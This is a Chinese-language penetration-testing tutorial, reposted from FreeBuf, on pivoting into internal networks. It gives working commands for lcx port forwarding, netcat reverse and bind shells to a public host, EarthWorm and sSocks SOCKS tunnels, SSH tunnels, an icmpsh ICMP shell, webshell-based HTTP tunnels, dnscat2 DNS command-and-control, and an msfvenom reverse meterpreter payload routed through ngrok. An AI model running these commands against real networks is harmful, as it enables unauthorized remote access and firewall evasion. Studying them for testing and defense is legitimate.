轉載自freebuf:https://www.freebuf.com/articles/web/170970.html
本文主要介紹一下端口轉發工具。文中工具下載地址:https://github.com/Brucetg/Pentest-tools
這里博主在本地搭建虛擬機環境來進行學習:
win2003(開啟防火牆)作為內網環境:192.168.0.107
win10作為外網環境:192.168.0.140
kali作為外網環境:192.168.0.133
正常的話,內網可以訪問通外網服務器,而外網服務器無法訪問內網服務器:
內網107機器可以ping通外網服務器
外網133機器無法訪問內網機器
適用網絡環境有以下幾種:
- 服務器處於內網,可以訪問外部網絡
- 服務器處於外網,可以訪問外部網絡,但是服務器安裝了防火牆來拒絕敏感端口的連接
- 服務器處於內網,對外只開放了80端口,並且服務器不能訪問外網網絡
對於以上三種情況,傳統的方法可以突破1和2兩種(全都可以理解為lcx),第三者可以使用SOCKS5代理
0x01 lcx.exe
lcx.exe應該是聽的比較多的,常用於端口轉發,有Windows版和Linux版,Windows版是lcx.exe,Linux版是portmap
在windows上使用:
lcx有兩大功能:
(1) 端口轉發(listen和slave成對使用)
(2) 端口映射(tran)
1.lcx內網端口轉發
(1) 在內網主機上執行:
lcx.exe -slave 公網主機ip 4444 127.0.0.1 3389
即把內網主機的3389端口流量轉發到具有公網ip主機的4444端口。
(2) 在公網主機上執行:
lcx.exe -listen 4444 5555
即監聽公網主機4444端口請求,將4444端口的流量轉發到5555端口上。
(3)應用場景:假設拿下一台內網主機的權限,想要遠程連接,這時候就需要lcx.exe將內網的3389的端口流量轉發到具有公網ip的主機上的4444端口,公網主機把4444端口的流量轉發到5555端口上。如果此時是在公網主機上,使用cmd的mstsc遠程連接時,主要連接 127.0.0.1:5555 端口即可。如果在外網,需要連接 公網主機ip:5555 端口。輸入用戶名,密碼即可連接到內網主機。
2.lcx本地端口轉發:
由於防火牆的限制,部分端口,例如3389等無法通過防火牆,此時可以將目標主機的3389端口的流量轉發到防火牆允許通過的其他端口,例如53.
在目標機器上運行:
lcx.exe -tran 53 目標主機ip 3389
即可遠程桌面連接到 目標主機ip:53 輸入用戶名密碼即可連接到內網主機
注:lcx.exe可能會被查殺,請自行尋找免殺版。
在linux上:
(1) 在具有公網ip的主機上執行:
./portmap -m 2 -p1 6666 -h2 公網主機ip -p2 7777
即可監聽來自6666端口的請求,並將其轉發到7777端口。
(2)在內網主機上執行:
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公網主機ip -p2 6666
即可將內網主機22端口的流量轉發到公網主機的6666端口
然后在linux系統命令下執行:
ssh 公網主機ip 7777
即可連接內網主機。
0x02 nc反彈
nc在windows/linux上使用方法差不多:
正向連接:
(1) 在遠程內網主機上執行:
nc -l -p 4444 -t -e cmd.exe
-t 是通過telnet模式執行cmd.exe程序。
(2) 在公網主機上執行:
nc -vv 遠程主機ip 4444
成功后,本地主機就獲得了遠程主機的一個cmd shell。
反向連接:
(1) 在公網主機上進行監聽:
nc -lvnp 4444
(2)在內網主機上執行:
nc -t -e cmd.exe 公網主機ip 4444
成功后即可獲得一個內網主機的cmd shell。
0x03 socks代理工具
常見的 socks 代理工具介紹如下
1.Earthworm 工具網址:http://rootkiter.com/EarthWorm
EW 是一套便攜式的網絡穿透工具,具有 SOCKS v5 服務架設和端口轉發兩大核心功能,可在復雜網絡環境下完成網絡穿透。該工具能夠以 “正向”、“反向”、“多級級聯” 等方式打通一條網絡隧道,直達網絡深處,用蚯蚓獨有的手段突破網絡限制,給防火牆松土。工具包中提供了多種可執行文件,以適用不同的操作系統,Linux、Windows、MacOS、Arm-Linux 均被包括其內, 強烈推薦使用。
目前已經有了最新版 Termite,工具網址:http://rootkiter.com/Termite/ (需要梯子)
2.reGeorg 工具網址:https://github.com/NoneNotNull/reGeorg
reGeorg 是 reDuh 的升級版,主要是把內網服務器的端口通過 http/https 隧道轉發到本機,形成一個回路。用於目標服務器在內網或做了端口策略的情況下連接目標服務器內部開放端口。它利用 webshell 建立一個 socks 代理進行內網穿透,服務器必須支持 aspx、php 或 jsp 這些 web 程序中的一種。
3.sSocks 工具網址:http://sourceforge.net/projects/ssocks/
sSocks 是一個 socks 代理工具套裝,可用來開啟 socks 代理服務,支持 socks5 驗證,支持 IPV6 和 UDP,並提供反向 socks 代理服務,即將遠程計算機作為 socks 代理服務端,反彈回本地,極大方便內網的滲透測試,其最新版為 0.0.14。
4.SocksCap64 工具網址:http://www.sockscap64.com (需要梯子)
SocksCap64 是一款在 windows 下相當好使的全局代理軟件。SocksCap64 可以使 Windows 應用程序通過 SOCKS 代理服務器來訪問網絡而不需要對這些應用程序做任何修改, 即使某些本身不支持 SOCKS 代理的應用程序通過 SocksCap64 之后都可以完美的實現代理訪問。
5.proxychains 工具網址:http://proxychains.sourceforge.net/
Proxychains 是一款在 LINUX 下可以實現全局代理的軟件,性能相當穩定可靠。在使任何程序通過代理上網,允許 TCP 和 DNS 通過代理隧道,支持 HTTP、SOCKS4、SOCKS5 類型的代理服務器,支持 proxy chain,即可配置多個代理,同一個 proxy chain 可使用不同類型的代理服務器
ssocks
linux版:
(1) 安裝:
wget https://phoenixnap.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz
tar -zxf ssocks-0.0.14.tar.gz cd ssocks-0.0.14 ./configure && make cd src
(2) 在本地具有公網ip的主機上執行:
./rcsocks -l 1080 -p 1234 -v
(3) 在目標機器上執行:(實際滲透情況中加上 -b 后台運行)
./rssocks -s 192.168.1.100(公網ip):1234 -v
通過本地各種代理工具配置代理即可,socks5 192.168.1.100 1080
socks windows版為 reGeorg + Proxychains 代理,具體文章請看我上一篇文章:
https://www.cnblogs.com/bmjoker/p/10205407.html
Ew穿透
該工具借用了ssocks 和 lcx.exe 的操作邏輯,並進行更多的功能強化:
目前工具提供六種鏈路狀態,可通過 -s 參數進行選定,分別為: ssocksd rcsocks rssocks lcx_slave lcx_tran lcx_listen 其中 SOCKS5 服務的核心邏輯支持由 ssocksd 和 rssocks 提供,分別對應正向與反向socks代理。
ssocksd 用來開啟Socks5代理服務
rssocks 本地啟用Socks5服務,並反彈到另一IP地址
rcsocks 接收反彈過來的Socks5服務,並轉向另一端口
其余的 lcx 鏈路狀態用於打通測試主機同 socks 服務器之間的通路。 lcx 類別管道: lcx_slave,lcx_listen:端口轉發 lcx_tran:端口映射 lcx_slave 該管道一側通過反彈方式連接代理請求方,另一側連接代理提供主機。 lcx_tran 該管道,通過監聽本地端口接收代理請求,並轉交給代理提供主機。 lcx_listen 該管道,通過監聽本地端口接收數據,並將其轉交給目標網絡回連的代理提供主機。 通過組合lcx類別管道的特性,可以實現多層內網環境下的滲透測試。 工具參數說明: -l 開放指定端口監聽 -d 指定轉發或反彈的主機地址 -e 指定轉發或反彈的主機端口 -f 指定連接或映射的主機地址 -g 指定連接或映射的主機端口 -t 設置超時時間 下面是一個三級跳的本地測試例子。。。 ./ew -s rcsocks -l 1080 -e 8888 ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 ./ew -s lcx_listen -l 9999 -e 7777 ./ew -s rssocks -d 127.0.0.1 -e 7777 數據流向為 IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
1.正向 SOCKS5 服務器:
當目標網絡邊界存在公網ip,且可任意開啟監聽端口,執行命令:
ew_for_Win.exe -s ssocksd -l 8888
即可在該目標機器上上開啟一個8888的正向連接。然后其他主機可通過設置代理為 目標主機ip:8888 ,添加這個代理。這里使用proxychains:
2.反彈SOCKS5服務器
當目標網絡邊界不存在公網ip,通過反彈方式創建socks代理。
先在一台具有公網ip的主機A上運行以下命令:
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
即在公網主機上添加一個轉接隧道,把1080端口收到的代理請求轉發給8888端口。
在目標主機B上啟動SOCKS5服務,並反彈到公網主機的8888端口:
ew_for_Win.exe -s rssocks -d 公網主機ip -e 8888
本地主機可通過添加 公網ip:1080 這個代理,來訪問內網機器。
如果本地主機具有公網ip,就可以把在公網執行的步驟放在本地執行:
3.二級網絡環境(一)
假設我們獲得了右側A主機和B主機的控制權限,A主機配有2塊網卡,一塊10.129.72.168 連通外網,一塊10.168.153.140只能連接B主機,無法訪問內網其他資源。B主機可以訪問內網資源,但無法訪問外網。
先上傳ew到B主機,利用ssocksd方式啟動8888端口的SOCKS代理,命令如下:
./ew_for_Win.exe -s ssocksd -l 8888
然后在A主機執行:
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888
即可把1080端口收到的代理請求轉發給B主機(192.168.153.138)的8888端口上。
然后My pc 就可以通過A的外網代理10.129.72.168:1080訪問B。
4.二級網絡環境(二)
假設我們獲得了右側A主機和B主機的控制權限,A主機沒有公網ip,也無法訪問內外資源。B主機可以訪問內網資源,但無法訪問外網。
這次操作有四步:
1. 在公網vps(45.xxx.xxx.72)添加轉接隧道,將10800端口收到的代理請求轉交給8888端口。
./ew_for_linux64 -s lcx_listen -l 10800 -e 8888
2. B(192.168.153.138)主機正向開啟9999端口。
ew_for_Win.exe -s ssocksd -l 9999
3. A主機利用lcx_slave方式,將公網vps的8888端口和B主機的9999端口連接起來。
ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f 192.168.153.138 -g 9999
4. 現在My pc可通過訪問45.xxx.xxx.72:10800來使用192.168.153.138主機提供的socks5代理,代理成功,vps會有rssocks cmd_socket OK! 提示:
使用proxychains來配合工具滲透:
5.二級網絡環境(三)
環境說明(一):V1主機配有2塊網卡,一塊連通外網,一塊10.255.11.8只能連接內網V2主機,無法訪問內網其它資源。V2主機可以訪問內網資源,但無法訪問外網。
# V2執行,利用ssocksd方式啟動8888端口的socks代理 ./ew -s ssocksd -l 8888 # V1執行,將來自外部的1080端口的代理請求轉發到V2的8888端口上 ./ew -s lcx_tran -l 1080 -f 10.255.11.3 -g 8888 # Attack執行,使用Proxifier等建立正常的socks代理訪問1080端口
環境說明(二):V1主機沒有公網IP,也無法訪問內網資源。V2主機可以訪問內網資源,但無法訪問外網。
# VPS執行,把來自外部的1080端口的流量轉到本地的8888端口上 ./ew –s lcx_listen –l 1080 –e 8888 # V2執行,在本地啟動socks5代理並監聽9999端口 ./ew -s ssocksd -l 9999 # V1執行,把vps的8888端口和V2的9999進行綁定,即建立socks5通道 ./ew -s lcx_slave -d 123.123.1.1 -e 8888 -f 10.255.11.3 -g 9999 # Attack執行,使用Proxifier等建立正常的socks代理訪問1080端口
6.三級網絡環境
再提供一個“三級級聯”的本地SOCKS測試用例以供參考
環境示意圖:
環境說明:Web server沒有公網IP但可以訪問外網,V2主機不能訪問外網但可以被Web server主機訪問,V3主機可被V2主機訪問且能訪問核心區域
# vps上執行,把來自外部的1080端口流量轉到本地的8888端口上 ./ew -s rcsocks -l 1080 -e 8888 # Web server執行,把vps的8888端口和內網V2的9999端口綁定 ./ew -s lcx_slave -d 123.123.1.1 -e 8888 -f 10.255.12.2 -g 9999 # V2執行,將來自外部的7777端口和本地的9999端口進行綁定 ./ew -s lcx_listen -l 9999 -e 7777 # V3執行,將本地的socks連接反彈到V2的7777端口上 ./ew -s rssocks -d 10.255.12.2 -e 7777 # Attack執行,使用Proxifier等建立正常的socks代理訪問1080端口
數據流向: Attack(SOCKS v5) ---> 1080 ---> 8888 ---> 9999 --->7777 ---> rssocks
0x04 ssh隧道代理轉發
ssh有三個強大的端口轉發命令,分別是本地轉發,遠程轉發,動態轉發。
本地訪問127.0.0.1:port1就是host:port2(用的更多) ssh -CfNg -L port2:127.0.0.1:port1 user@host #本地轉發 訪問host:port2就是訪問127.0.0.1:port1 ssh -CfNg -R port2:127.0.0.1:port1 user@host #遠程轉發 可以將dmz_host的hostport端口通過remote_ip轉發到本地的port端口 ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,監聽本地port 可以將dmz_host的hostport端口轉發到remote_ip的port端口 ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用於內網穿透防火牆限制之類 socket代理: ssh -qTfnN -D port remotehost 參數詳解: -C Enable compression 壓縮數據傳輸 -q Quiet mode. 安靜模式 -T Disable pseudo-tty allocation. 不占用 shell 了 -f Requests ssh to go to background just before command execution. 后台運行,並推薦加上 -n 參數 -N Do not execute a remote command. 不執行遠程命令,端口轉發就用它了 -L port:host:hostport 將本地機(客戶機)的某個端口轉發到遠端指定機器的指定端口. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉發出去, 同時遠程主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉發. 只有 root 才能轉發特權端口. IPv6 地址用另一種格式說明: port/host/hostport -R port:host:hostport 將遠程主機(服務器)的某個端口轉發到本地端指定機器的指定端口. 工作原理是這樣的, 遠程主機上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉向出去, 同時本地主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉發. 只有用 root 登錄遠程主機才能轉發特權端口. IPv6 地址用另一種格式說明: port/host/hostport -D port 指定一個本地機器 “動態的’’ 應用程序端口轉發. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉發出去, 根據應用程序的協議可以判斷出遠程主機將和哪里連接. 目前支持 SOCKS協議, 將充當SOCKS服務器. 只有 root 才能轉發特權端口. 可以在配置文件中指定動態端口的轉發. -g port 允許遠程主機連接到建立的轉發的端口,如果不加這個參數,只允許本地主機建立連接
1.ssh本地轉發
遠程管理服務器上的mysql,mysql不能直接root遠程登陸。這時候就可以通過本地轉發,通過ssh將服務器的3306端口轉發到1234端口。
ssh -CfNg -L 1234 127.0.0.1:3306 root@45.32.31.121
2.ssh遠程轉發
內網的服務器,外網不能直接訪問,使用遠程轉發,將內外的服務器端口轉發到外網端口。這時候訪問外網的端口,就訪問到了內網的端口。
ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142
現在在192.168.153.142訪問127.0.0.1:81就是訪問內網的端口。
3. ssh動態轉發socks代理
把遠程主機設置成代理,來代理訪問不能訪問的資源。在本地機器上分配了一個監聽端口,一旦這個端口上有了連接,該連接就經過ssh隧道轉發出去,根據應用程序的協議可以判斷出遠程主機將和哪里連接。
ssh -qTfnN -D 1080 root@45.32.31.121
0x05 ICMP隧道代理轉發
ICMP隧道是通過將任意數據注入發送到遠程計算機的回送數據包來工作的,要判斷是否使用ICMP隧道,我們只需要關注一件事:可以ping通一個外部服務器。如果能到達外部網絡,那么很有可能可以建立一個icmp隧道,缺點是需要root/administrator權限
icmpsh
具有公網ip的vps上:
git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket sysctl -w net.ipv4.icmp_echo_ignore_all=1 python icmpsh_m.py 公網ip地址 內網目標機器ip
目標機器:
icmpsh.exe -t 公網ip地址 -d 500 -b 30 -s 128
就會在具有公網ip的主機上收到一個cmd shell
0x06 HTTP代理
adptts
github項目地址:https://github.com/nccgroup/ABPTTS
首先安裝好工具所需的各種py依賴庫:
pip install pycrypto 加密庫,整個數據加密都要靠這個
pip install httplib2
生成好服務端(webshell),-o用來指定要生成到的目錄,然后把生成好的對應類型的代理腳本扔到目標網站目錄中,並嘗試訪問該腳本,如果返回了一段類似hash的數據,說明代理端執行正常,繼續進行后面的步驟即可,如下:
python abpttsfactory.py -o webshell
前面確認沒有問題后,現在開始綁定端口,建立隧道,下面的意思就是把遠端[目標機器]的3389端口和本地的1234端口進行綁定,-c用來指定webshell的配置文件[這里直接用默認的],-u指定webshell的url,關於更多選項用法,看下工具幫助就明白了,都非常簡單的:
python abpttsclient.py -c webshell\config.txt -u "http://www.joker.com/abptts.aspx" -f 127.0.0.1:1234/127.0.0.1:3389
隧道建立成功后,用相應的socks代理客戶端工具[proxychains,sockscap……]連接到前面已經綁定好的本地端口[1234端口],即可訪問目標內網中的資源:
mstsc 127.0.0.1:1234 putty ssh root@127.0.0.1 -p 1234 -i ~/.ssh/xxx/id_rsa 如果對方的ssh只允許證書登錄,加載上自己的證書即可
0x07 DNS隧道
不論對出站流量采取多么嚴格的訪問控制,你可能都要允許至少對一個服務器的 DNS 請求。對手就可以利用這個防火牆上的“大洞”來偷運數據,並且建立一個非常難以限制的隱蔽命令控制信道。
Dnscat2
github項目地址:https://github.com/iagox86/dnscat2
Dnscat2通過建立C&C通道遞歸DNS查詢。此工具不需要root/administrator權限(在Windows和Linux上都可以使用)。他還支持端口轉發
Server端:
ruby ./dnscat2.rb tunneldomain.com
Client端:
./dnscat2 tunneldomain.com
收到Server端的連接后,可以使用windows命令查看活動會話:
dnscat2> windows 0 :: main [active] dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*] 1 :: command session (debian) 2 :: sh (debian) [*]
要啟動端口轉發,請選擇一個命令會話session -i:
dnscat2> session -i 1 New window created: 1 New window created: 1 history_size (session) => 1000 This is a command session! That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'. command session (debian) 1>
使用 listen [lhost:]lport rhost:rport 命令轉發端口:
command session (debian) 1> listen 127.0.0.1:8080 10.0.0.20:80
這將綁定靶機上的8080端口,並將所有鏈接轉發到10.0.0.1:80上。
0x08 netsh端口轉發
Netsh是一種命令行實用程序,可用來顯示與修改當前正在運行的計算機的網絡配置,用於端口轉發功能代碼(可以創建任意數量的Windows端口轉發規則。所有netsh interface portproxy規則都是持久性的,並會在Windows系統重啟后被保存):
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
參數說明:
listenaddress – 等待連接的本地IP地址。
listenport – 本地偵聽TCP端口。
connectaddress – 將傳入連接重定向到本地或遠程IP地址(或DNS名稱)
connectport – 一個TCP端口,來自listenport的連接會被轉發到該端口 顯示系統中的轉發規則列表
顯示系統中的轉發規則列表
netsh interface portproxy show all
清除所有當前的端口轉發規則
netsh interface portproxy reset
刪除指定的端口轉發規則
netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=10.1.1.110
eg:
以管理員的身份啟動命令提示符並執行以下命令:
netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
參考鏈接:https://www.freebuf.com/articles/system/176889.html
0x09 tunna內網轉發
github項目地址:https://github.com/SECFORCE/Tunna
Tunna可以通過HTTP封裝隧道通信任何TCP,以及用於繞過防火牆環境中的網絡限制
Tunna和reGeorg原理一樣,需要先上傳源碼包中webshell下的腳本至網站目錄
然后本地進行連接上傳的webshell即可
python proxy.py -u http://172.0.0.1/conn.php -l 1234 -r 3389 -v
這樣就轉發了webshell所在主機的3389到你本地的1234上,本地直接遠程127.0.0.1:1234即可
python proxy.py -u http://172.0.0.1/conn.php -l 1234 -a 172.0.0.2 -r 3389
轉發內網其他主機的端口,同上
python proxy.py -u http://172.0.0.1/conn.php -l 1234 -r 22 -v -s
轉發SSH服務需要加上-s參數避免中斷
另外,Tunna也支持msf,可直接返回meterpreter給msf
0x10 內網穿透平台ngrok
例如 https://www.ngrok.cc,https://natapp.cn等
以ngrok為例,注冊並開通隧道
下載對應的客戶端,下載地址為:https://www.ngrok.cc/#down-client
運行
生成backdoor。監聽的ip為server.ngrok.cc的ip,端口為開通隧道時填寫的遠程端口:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.90.92.56 LPORT=52524 -f exe > shell.exe
kali上執行:
參考鏈接:
http://www.zerokeeper.com/experience/network-port-forwarding-and-penetration.html